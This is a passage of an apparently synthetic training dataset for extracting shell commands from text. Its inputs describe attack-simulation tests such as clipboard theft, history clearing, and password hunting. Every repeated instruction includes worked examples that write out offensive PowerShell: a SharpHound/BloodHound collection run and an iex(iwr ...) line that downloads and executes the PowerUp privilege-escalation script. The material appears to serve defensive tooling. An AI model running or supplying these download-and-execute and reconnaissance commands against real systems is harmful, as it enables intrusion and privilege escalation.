5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Enumerate PlugNPlay Camera using powershell commandlet. this technique was seen in dcrat malware backdoor capabilities where it enumerate the camera info mounted on the compromised host. reference: https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test uses PowerShell to download a payload.\nThis technique is used by multiple adversaries and malware families.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\\atomic_T1115_clipboard_data.txt\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modify the registry of the currently logged in user using reg.exe via cmd console to remove the networking icon Group Policy. \nTake note that some Group Policy changes might require a restart to take effect.\nSee how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This technique involves using the Clear-History cmdlet in PowerShell to remove all records of previously executed commands.\nThis action is often performed by attackers to eliminate traces of their activities, making incident detection and forensic \ninvestigation more challenging. By clearing the session history, adversaries aim to obfuscate their operational footprint.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use Trusted Platform Module (TPM) for Bitlocker tool\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary can obfuscate malicious commands or payloads using XOR and execute them on the victim's machine. This test uses Python to decode and execute commands on the machine.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Search for Passwords on this system using passhunt via WinPwn", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { 